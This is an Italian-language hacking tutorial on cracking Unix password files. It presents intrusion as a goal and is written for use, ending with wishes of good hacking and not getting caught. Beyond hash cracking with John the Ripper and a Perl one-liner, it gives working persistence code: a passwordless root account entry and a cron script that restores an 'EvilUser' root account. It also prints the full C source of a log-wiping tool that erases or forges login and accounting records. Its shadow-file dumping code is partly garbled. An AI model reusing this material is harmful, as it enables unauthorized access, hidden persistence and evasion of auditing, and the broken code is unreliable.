Come crackare le password di Unix
Come crackare le password di Unix
by Lord KasKo (E-mail: lordkasko@freeweb.essenet.it)
Target: ** (*=novizio, **=apprendista, ***=esperto, ****=hackers)
Introduzione
UNIX è uno dei sistemi operativi più usati nelle grandi società come le grandi aziende o le università. Ormai da anni ha il monopolio assoluto anche se ultimamente fa capolino il gioiellino di mamma Micro$oft: Windows NT. Per noi hackers spero si diffonda ben presto nelle aziende così il nostro lavoro risulterebbe più facile visto gli innumerevoli bug che presenta (almeno fino alla versione 4). Però, ripensandoci, credo sia meglio che UNIX rimanga sennò la sfida dov'è? Ma bando alle ciance iniziamo a vedere come crackare le password di UNIX...
Pronti? Yessssss!!!!
Dalla teoria alla pratica
Innanzitutto bisogna sapere che il phile più importante nel sistema UNIX è : /etc/passwd
Questa miniera d'oro contiene tutti gli account degli utenti che hanno accesso al sistema!!!
Ma vediamo come è strutturato....
Esso è un semplice phile testo formato da tante righe che hanno questa forma:
Login:PwdCriptata:UserID:GroupID:RealName:HomeDirectory:Shell
Ma vediamo un esempio pratico; un phile di password può essere così:
root:banq4O/wqTxdA:0:3:,,,:/:/sbin/sh
daemon:*:1:5::/:/sbin/sh
bin:*:2:2::/usr/bin:/sbin/sh
sys:*:3:3::/dev/null:/bin/false
adm:*:4:4::/var/adm:/sbin/sh
comment:*:17:17::/dev/null:/bin/false
hpdb:*:27:1:ALLBASE:/:/sbin/sh
lordk:KJ8.S66pWe3Ag:150:13:Lord KasKo:/student/lk:/usr/bin/ksh
analizziamo ora il suo significato:
Primo campo : Login
La prima login generalmente è 'root'. Essa rappresenta l'amministratore di sistema ed avere la sua password significa essere i 'Padroni di Casa' e fare ciò che si vuole.
Altre login generalmente presenti sono 'deamon', 'bin' ecc... ed infine ci sono gli utenti come Lord KasKo con login lordk.
Secondo campo: PwdCriptata
Ovviamente mettere la password in chiaro(cioè scrivere la pwd così come la si inserisce) non sarebbe stato troppo da furbi perchè una volta prelevato il phile passwd sarebbere bastato leggerele ed inserirle per entrare nel sistema. Così quei geniacci che hanno inventato UNIX hanno avuto la bella idea di criptarle. E hanno fatto, devo dire, un buon lavoro!!
Infatti hanno trovato un algoritmo di crypting denominato One-Way. Ma che vor dì?
Semplicemente ciò che indica la parola : 'a senso unico'. Quindi applicando l'algoritmo ad una parola se ne ottiene una criptata, ma applicando alla parola criptata lo stesso algoritmo al contrario non si ottiene la parola in chiaro. Bella invenzione vero? (Per i dettagli vi rimando all'appendice "Come crackare le pwd di UNIX in una riga di Perl")
Quindi la password criptata di root è : "banq4O/wqTxdA" e la mia è : "KJ8.S66pWe3Ag".
Nelle righe di deamon, bin ecc al posto della password c'è un *. Ciò vuol dire che questo account non è a disposizione degli utenti, ma è utilizzato dal sistema per servizi interni. Quindi vuol dire che non ci si può loggare, per esempio, come "deamon". Infine potreste trovare a posto delle password il simbolo +. Questo è veramente un casino. Vuol dire che il phile di password è shadowed e quindi il vero phile con le password criptate è da qualche altra parte nel sistema, nascosto. Che fare a questo punto? Andarsene con la coda tra le gambe? Col capo chino? in preda alle umilianti prese in giro da parte degli altri colleghi hackers? No!!!!!! Finchè c'è vita c'è speranza. Aspettate la sezione "I Phile Shadow" per rincuorare i vostri animi.
Terzo campo : UserID
L'userID è un numero che identifica univocamente l'utente. Ogni utente ha un ID diverso.
Root ha come UID 0.
Quarto campo : GroupID
Il GroupID, invece, è un numero che identifica il gruppo a cui appartiene l'utente. Ogni gruppo ha permessi diversi ai phile del sistema. Più il numero è basso più permessi si hanno!
Ovviamente root ha come GID 0.
Quinto campo : RealName
Ovvero il vero nome dell'utente.
Sesto campo : HomeDirectory
Indica il path della Home directory dell'utente
Settimo campo : Shell
Indica la shell usata dall'utente
Ho il phile delle password e adesso ???????
Adesso siamo già a buon punto. Avendo il phile delle password, non shadowed, si può iniziare una ricerca delle password. In che modo visto che l'algoritmo di crypting è one-way? Bhe, utilizzando uno dei tools più famosi per questo tipo di lavoro : John the Ripper v1.4
Questo ottimo software prende da un vocabolario di parole probabili una possibile password e la cripta utilizzando l'algoritmo DES (il famoso one-way) e confronta il risultato con tutte le password presenti nel phile. Se fa un hit vi comunica la password e quali login la utilizzano.
Spesso capita che il vocabolario di parole probabili fallisce e allora che fare? John utilizza una particolare ricerca di tipo incremental. Pratcamente genera tutte le parole possibili utilizzando i comuni simboli del vocabolario(lettere maiuscole e minuscole, numeri e simboli)e le confronta con quelle del nostro phile. Voi penserete che con i computer moderni questo è un gioco da ragazzi.
Vi assicuro che per provarle tutte con un Pentium II ci mettereste qualche centinaio d'anni.
Però John grazie a delle statistiche sulle più comuni password utilizzate, fatte dai creatori del programma stesso, prova prima le parole più probabili e lascia per ultimo quelle meno probabili. (Es. è più facile che alla lettera 'p' segua una 'r' o una 'a' piuttosto che una 'q').
Questo dovrebbe diminuire di molto i tempi di attesa.
Inoltre John prevede una ricerca veloce utilizzando le informazioni GECOS (il nome e cognome dell'utente) perchè è risaputo che moltissimi utenti usano come password qualche derivato del proprio nome o cognome.(es. Il sig. Bruno Rossi usa come password 'BRossi' o 'Bruno1')
Una volta che avete trovato qualche password non vi resta che entrare e dare una occhiata
al sistema ricordandovi di NON DANNEGGIARE alcun phile e NON RECARE DANNO AD ALCUNO.
Ne va della vostra fama di hacker. Se poi avete trovato la password di root allora siete proprio fortunati.
Potete creare delle back door per mantenere l'accesso al sistema per sempre (o quasi).
Come creare delle back-door
Di backdoor se ne possono creare veramente molte ed il limite è imposto solo dalla fantasia.
Qui suggerisco le più facili da creare :
La backdoor classica
una volta che si ha l'accesso di root basta entrare nel phile delle password ed inserire un nuovo account con permessi di root es:
lk::0:0:Lord KasKo:/sbin/sh <-- E' SOLO UN ESEMPIO
in questo modo basta loggarsi come lk e automaticamente, senza inserire la password, si ha un account di root!!!
Backdoor nei phile di login:
Una volta recuperato i sorgenti dei phile di login basta modificarli in modo da 'agevolare' una vostra successiva entrata e sosituire il vero login con il vostro.
Come modificare il phile lo lascio come compito a casa...
Backdoor con il CRON
Il CRON è un demone di UNIX che esegue dei programmi in momenti precisi (giorni, ore ecc.)
Nel phile /var/spool/crontabs/root sono presenti i cronjobs di root che ovviamente hanno i permessi di root. Quindi basta inserire nei jobs l'esecuzione di uno script che, per esempio, ogni giorno controlla se nel phile di password è presente l'account con permessi di root che abbiamo inserito precedentemente per assicurarci un futuro accesso.(Non si sa mai che l'amministratore se ne accorga e lo cancelli!! Oppure ci possono essere anche dei demoni che si occupano di cancellare shell di root nel phile di password).
Il crontab è un phile testo formato dai seguenti campi:
1 2 3 4 5 6
min ore gg mm gs comando
min: minuto in cui deve partire il programma (0-59)
ore: ore " " " " (0-23)
gg: giorno " " " (1-31)
mm: mese " " " (1-12)
gs: giorno della settimana in cui deve partire il prg (1-6)
comando: il comando da eseguire
Per tornare alla nostra backdoor basta inserire nel /var/spool/crontabs/root la riga:
0 0 * * * /usr/bin/backdoor
dove 'backdoor' è uno script del tipo:
#!/bin/csh
# C'e' il nostro account nel passwd?
set evilflag = (`grep eviluser /etc/passwd`)
if($#evilflag == 0) then
set linecount = `wc -l /etc/passwd`
cd
cp /etc/passwd ./temppass
@ linecount[1] /= 2
@ linecount[1] += 1
split -$linecount[1] ./temppass
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd
rm ./xa* ./temppass
echo Done...
else
endif
(Script tratto da SystemDown numero 3)
Questo script controlla se l'account EvilUser è presente nel phile di password altrimenti lo aggiunge.
Una volta creata una di queste backdoors è FONDAMENTALE eliminare le proprie tracce, altrimenti si può essere beccati. Per fare ciò ci sono dei programmini che fanno questo per voi, quindi basta compilarli e lanciarli:
Questo è uno dei migiori:
/*
* C L O A K
*
* Wrap yourself in a cloak of darkness (heh heh heh).
*
* Michael S. Baldwin, Matthew Diaz 1982
*
* Marcus J. Ranum - 1983 - complete re-write and munging
* added more options, and all kinds of evil - including the
* ability to vanish from wtmp and acct as well as utmp. Added more
* error checking and useful command syntax. Now you can attribute
* all *YOUR* CPU usage to others when playing hack !!!
*
*/
#include <stdio.h>
#include <sys/types.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#include <sys/file.h>
#include <sys/acct.h>
/* set these guys. If you're sysV a port should be easy */
#define UTMP "/etc/utmp"
#define WTMP "/usr/adm/wtmp"
#define LAST "/usr/adm/lastlog"
#define ACCT "/usr/adm/acct"
main(ac,av)
int ac;
char *av[];
{
char *tp = "";
char *un = "";
char *hn = "";
char *pn = "";
long newt = 0L;
int wflg = 0;
int aflg = 0;
int refs = 1;
int x; /* klunch */
char *p;
extern char *index();
extern time_t time();
for(x = 1; x < ac; x++) {
if(av[x][0] == '-')
switch(av[x][1]) {
case 'u': /* username to be :-) */
if((x + 1) < ac)
un = av[++x];
break;
case 't': /* tty slot to be on :-) */
if((x + 1) < ac)
tp = av[++x];
break;
case 'h': /* host name to be on :-) */
if((x + 1) < ac)
hn = av[++x];
break;
case 'r': /* # of refs to zap :-) */
if((x + 1) < ac)
refs = atoi(av[++x]);
break;
case 's':
execl("/bin/sh","sh",0);
perror("exec");
exit(1);
case 'w': /* vanish from wtmp, too */
wflg++;
break;
case 'a': /* vanish from acct, too */
aflg++;
break;
case 'p': /* specific program for acct */
if((x + 1) < ac)
pn = av[++x];
break;
case 'l': /* log on time */
if((x + 1) >= ac)
break;
newt = atoi(p = av[++x]);
if(p = index(p,':')) {
newt *= 60;
newt += ((newt > 0) ? 1 : -1) * atoi(++p);
}
newt *= 60;
newt += time((long *)0L);
break;
default:
exit(usage());
}
}
if(wflg && wtmpzap(tp,un,hn,newt,refs))
perror(av[0]);
if(aflg && acctzap(un,pn))
perror(av[0]);
if(utmpzap(tp,un,hn,newt)) {
perror(av[0]);
exit(1);
}
if(lastzap(tp,un,hn,newt)) {
perror(av[0]);
exit(1);
}
exit(0);
}
utmpzap(tt,un,hn,tim)
char *tt;
char *un;
char *hn;
long tim;
{
int fd;
int slot;
struct utmp ubuf;
extern time_t time();
extern char *strncpy();
extern long lseek();
if((slot = ttyslot()) == 0) {
(void)fprintf(stderr,"No tty slot");
return(-1);
}
if((fd = open(UTMP,O_RDWR)) == -1 )
return(-1);
if(lseek(fd,(long)(slot * sizeof(ubuf)),0) < 0) {
(void)close(fd);
return(-1);
}
if(read(fd,(char *)&ubuf,sizeof(ubuf)) != sizeof(ubuf)) {
(void)close(fd);
return(-1);
}
if(tim)
ubuf.ut_time = tim;
else
ubuf.ut_time = time((long *)0L);
(void)strncpy(ubuf.ut_name,un,sizeof(ubuf.ut_name));
if(!tt[0] == '\0')
(void)strncpy(ubuf.ut_line,tt,sizeof(ubuf.ut_line));
(void)strncpy(ubuf.ut_host,hn,sizeof(ubuf.ut_host));
if(lseek(fd,(long)(-sizeof(ubuf)), 1) < 0) {
(void)close(fd);
return(-1);
}
if(write(fd,(char *)&ubuf,sizeof(ubuf)) != sizeof(ubuf)) {
(void)close(fd);
return(-1);
}
return(close(fd));
}
wtmpzap(tt,un,hn,tim,refs)
char *tt;
char *un;
char *hn;
long tim;
int refs;
{
int fd;
char *p;
char tbuf[40];
struct utmp ubuf;
extern char *strncpy();
extern char *strcpy();
extern char *rindex();
extern char *ttyname();
extern long lseek();
extern time_t time();
if((p = ttyname(0)) != NULL)
(void)strcpy(tbuf,p);
else
return(0);
/* figure out our device name */
p = rindex(tbuf,'/');
if(p == NULL)
p = tbuf;
else
p++;
if((fd = open(WTMP,O_RDWR)) == -1 )
return(-1);
if(lseek(fd,0L,2) < 0)
return(-1);
/* this is gross, but I haven't a better idea how it can */
/* be done - so who cares ? */
while(refs) {
if((lseek(fd,(long)(-sizeof(ubuf)),1)) < 0) {
(void)close(fd);
return(0);
}
if(read(fd,(char *)&ubuf,sizeof(ubuf)) != sizeof(ubuf)) {
(void)close(fd);
return(0);
}
if(!strcmp(p,ubuf.ut_line)) {
if(tim)
ubuf.ut_time = tim;
else
ubuf.ut_time = time((long *)0L);
(void)strncpy(ubuf.ut_name,un,sizeof(ubuf.ut_name));
(void)strncpy(ubuf.ut_host,hn,sizeof(ubuf.ut_host));
if(!tt[0] == '\0')
(void)strncpy(ubuf.ut_line,tt,sizeof(ubuf.ut_line));
if(lseek(fd,(long)(-sizeof(ubuf)),1) < 0) {
(void)close(fd);
return(0);
}
if(write(fd,(char *)&ubuf,sizeof(ubuf)) !=
sizeof(ubuf)){
(void)close(fd);
return(0);
}
if(lseek(fd,(long)(-sizeof(ubuf)),1) < 0) {
(void)close(fd);
return(0);
}
refs--;
}
if(lseek(fd,(long)(-sizeof(ubuf)),1) < 0) {
(void)close(fd);
return(0);
}
}
return(close(fd));
}
acctzap(un,pn)
char *un;
char *pn;
{
int fd;
int faku =0;
int realu;
struct acct actbuf;
struct passwd *pwt;
extern struct passwd *getpwnam();
if((fd = open(ACCT,O_RDWR)) == -1 )
return(-1);
realu = getuid();
if(un[0] != '\0' && ((pwt = getpwnam(un)) != NULL))
faku = pwt->pw_uid;
while(1) {
if(read(fd,(char *)&actbuf,sizeof(actbuf)) != sizeof(actbuf)) {
(void)close(fd);
return(0);
}
if(realu == actbuf.ac_uid) {
/* only zap a specific program to user */
if(pn[0] != '\0' && strcmp(pn,actbuf.ac_comm))
continue;
actbuf.ac_uid = faku;
actbuf.ac_flag &= ~ASU;
if(lseek(fd,(long)(-sizeof(actbuf)),1) < 0) {
(void)close(fd);
return(0);
}
if(write(fd,(char *)&actbuf,sizeof(actbuf)) !=
sizeof(actbuf)){
(void)close(fd);
return(0);
}
}
}
}
usage()
{
#ifdef USAGE
(void)fprintf(stderr,"usage: cloak <options>\n");
(void)fprintf(stderr,"options are:\t-l <+->hh:mm (login time)\n");
(void)fprintf(stderr,"\t\t-u username\t\t\t-t ttyname\n");
(void)fprintf(stderr,"\t\t-w (clobber wtmp)\t\t-r #of refs to
clobber\n");
(void)fprintf(stderr,"\t\t-h host\t\t-a (clobber accounting)\n");
(void)fprintf(stderr,"\t\t-p program (attribute only program to
acct)\n");
(void)fprintf(stderr,"(no args causes a simple vanishing act)\n");
#endif
return(1);
}
lastzap(tt,un,hn,tim)
char *tt;
char *un;
char *hn;
long tim;
{
int fd;
int uid;
struct lastlog lbuf;
extern time_t time();
extern char *strncpy();
extern long lseek();
uid = getuid();
if((fd = open(LAST,O_RDWR)) == -1 )
return(-1);
if(lseek(fd,(long)(uid * sizeof(lbuf)),0) < 0) {
(void)close(fd);
return(-1);
}
if(read(fd,(char *)&lbuf,sizeof(lbuf)) != sizeof(lbuf)) {
(void)close(fd);
return(-1);
}
if(tim)
lbuf.ll_time = tim;
else
lbuf.ll_time = time((long *)0L);
if(!tt[0] == '\0')
(void)strncpy(lbuf.ll_line,tt,sizeof(lbuf.ll_line));
(void)strncpy(lbuf.ll_host,hn,sizeof(lbuf.ll_host));
if(lseek(fd,(long)(-sizeof(lbuf)), 1) < 0) {
(void)close(fd);
return(-1);
}
if(write(fd,(char *)&lbuf,sizeof(lbuf)) != sizeof(lbuf)) {
(void)close(fd);
return(-1);
}
return(close(fd));
}
Unshadowed password
Quando il phile delle password è nascosto è un bel casino. Si può rimediare provando a compliare un programma C che dovrebbe creare un phile contenente le password shadowed. Segue il codice:
Non è detto che funziona sempre ma provare non costa nulla.... Se neanche questo funziona .... hem cambiate sito....
UNIX Path Token
-----------------------------------------------------------
AIX 3 /etc/security/passwd !
or /tcb/auth/files//
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow X
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow X
Linux1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files//
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
System V Release 4.0 /etc/shadow X
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *
struct SHADOWPW { /* see getpwent(3) */
char *pw_name;
char *pw_passwd;
int pw_uid;
int pw_gid;
int pw_quota;
char *pw_comment;
char *pw_gecos;
char *pw_dir;
char *pw_shell;
};
struct passwd *getpwent(), *getpwuid(), *getpwnam();
#ifdef elxsis?
/* Name of the shadow password file. Contains password and aging info*
#define SHADOW "/etc/shadowpw"
#define SHADOWPW_PAG "/etc/shadowpw.pag"
#define SHADOWPW_DIR "/etc/shadowpw.dir"
/*
* Shadow password file pwd->pw_gecos field contains:
*
* <type>,<period>,<last_time>,<old_time>,<old_password>
*
* <type> = Type of password criteria to enforce (type int).
* BSD_CRIT (0), normal BSD.
* STR_CRIT (1), strong passwords.
* <period> = Password aging period (type long).
* 0, no aging.
* else, number of seconds in aging period.
* <last_time> = Time (seconds from epoch) of the last password
* change (type long).
* 0, never changed.n
* <old_time> =Time (seconds from ephoch) That the current password
* Was made the <old_password> (type long).
* 0, never changed.ewromsinm
* <old_password> = Password (encrypted) saved for an aging <period> t
* prevent reuse during that period (type char [20]).
* "*******", no <old_password>.
*/
/* number o tries to change an aged password */
#deffine CHANGE_TRIES 3
/* program to execute to change passwords */
#define PASSWD_PROG "/bin/passwd"
/* Name of the password aging exempt user names and max number of entir
#define EXEMPTPW "/etc/exemptpw"
#define MAX_EXEMPT 100
/* Password criteria to enforce */
#define BSD_CRIT 0 /* Normal BSD password criteria */
#define STR_CRIT 1 /* Strong password criteria */
#define MAX_CRIT 1
#endif elxsi
#define NULL 0
main()
{
struct passwd *p;
int i;
for (;1;) {;
p=getpwent();
if (p==NULL) return;
printpw(p);
}
}
printpw(a)
struct SHADOWPW *a;
{
printf("%s:%s:%d:%d:%s:%s:%s\n",
a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,
a->pw_gecos,a->pw_dir,a->pw_shell);
}
/* SunOS 5.0 /etc/shadow */
/* SunOS4.1+c2 /etc/security/passwd.adjunct */
Come funziona il crypting in UNIX e come crackare in PERL
-----------------------------------------------------------------
perl -nle 'setpwent;crypt($_,$c)eq$c&&print"$u $_"while($u,$c)=getpwent'
-----------------------------------------------------------------
Questo mini programma non fa altro che controllare nel phile di password se la parola che date come parametro è una password di qualche utente. Questo programma funziona su sistemi che utilizzano la variante di DES come one-way hash. Come parametro si può dare o un phile vocabolario oppure una singola parola.
Il programma utilizza la chiamata di funzione crypt(pwd,salt) dove pwd è la parola che si vuole criptare e salt è appunto il salt da usare (il salt è codificato come 2 caratteri radix64)
Esempio :
% perl
print crypt("fred","am");
^D
amLH9TiZZkscc
In questo esempio viene preso il primo argomento e viene creata una one-way hash e gli viene attaccato all'inizio in salt.Il risultato "amLH9TiZZkscc",inoltre, e codificato in radix 64, i primi due caratteri sono la copia del salt, i restanti 11 caratteri in radix 64 sono l'hash della password e del salt concatenati.
La password è limitata a 8 caratteri stampabili e così le varie parole possibili sono:
95^8 + 95^7 + 95^6 + 95^5 + 95^4 + 95^3 + 95^2 + 95 = 6,704,780,954,517,120
basate su questo alfabeto:
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
`-=#[];'\,./~!"£$%^&*()_+{}:@|<>?
123456789012345678901234567890123
che è circa 10^15 nonchè circa 2^53 e quindi intorno ai 53 bits di entropia.
Questo può sembrare ragionevole (DES ha solo 56 bit di keyspace), ma c'è un altro problema: gli uomini usano password facili da individuare.
Pensa che succederebbe se un utente digita tutti caratteri in minuscolo e non usa nessun simbolo. Per una password di 8 cifre ci sarebbero 26^8 = 208.827.064.576 che è circa 10^11 nonchè 2^37, quindi 37 bit di entropia. (Ricorda che un recente Net colaborative effort forza una chiave RC4 a 40 bit in 31 ore, e che hardware DES può migliorare le prestazioni di molti ordini di grandezza).
Infatti la situazione è molto peggio di quello che può sembrare perchè gli utenti utilizzano spesso parole del dizionario, o peggio i propri nomi o numeri di telefono. In questo modo esperimenti fatti utilizzando su alcuni sistemi degli attacchi utilizzando parole di un vocabolario, ha portato a scoprire la maggior parte delle password degli utenti.
Il modo in cui funzionano tutti i programmi di login (quelli dove uno inserisce la propria login e password prima di entrare nel prorio account) è questo:
l'utente inserisce la propria login e password;la password viene criptata (hashed) e se corrisponde con quella memorizzata nel phile di password, viene concesso l'accesso. Può capitare che due password diverse, una volta criptate, abbiano lo stesso valore anche se è rarissima.
David Wagner ha trovato una collisione parziale provando 6.1 miliardi di combinazion.( Ha impiegato 1290 ore di CPU su un SUN che elabora 1310 criptografie al secondo)
crypt("2NGGMda3", "Hx") = "HxyX8CL2luKyI"
crypt("gnB9Gw1j", "s8") = "s8yX8CL2luKyI"
Queste due password criptate hanno il salt defferente, ciò significa che in un phile di password di unix non dovrebbe funzionare.
Riprendiamo l'esempio precedente:
% perl
print crypt("fred","am");
^D
amLH9TiZZkscc
La password è "fred" e il salt è "am", la password criptata (salt concatenata alla password criptata) è "amLH9TiZZkscc".Il codice che segue mostra come avviene il controllo per verificare che la password sia uguale a quella memorizzata nel file delle pwd:
$pwd = (getpwuid($<))[1];
$salt = substr($pwd, 0, 2);
system "stty -echo";
print "Password: ";
chop($word = <STDIN>);
print "\n";
system "stty echo";
if (crypt($word, $salt) ne $pwd) {
die "Sorry...\n";
} else {
print "ok\n";
}
dove $salt sono i primi 2 caratteri della password criptata memorizzata nel phile $word è la è password inserita. Se crypt($word,$salt) è uguale alla password criptata memorizzata nel phile l'accesso è garantito.
I salt
I salt sono stati introdotti per accrescere il numero di parole possibili. Se i salt non ci fossero, sarebbe possibile creare un phile composto da tutte le parole del vocabolario criptate(hashed) ed un attacco degenererebbe in un semplice confronto tra le parole nel phile e quelle del phile delle password.
Il salt moltiplica il numero di parole possibili di un fattore di 4096 (il numero dei salt possibili).Ogni parola può essere criptata in 4096 modi diversi. Esempio:
crypt("fred","am") = "amLH9TiZZkscc"
crypt("fred","an") = "anvepwCPZQ2Z6"
E questo è tutto ragazzi... che posso dirvi...buon hacking e non fatevi beccare!!!!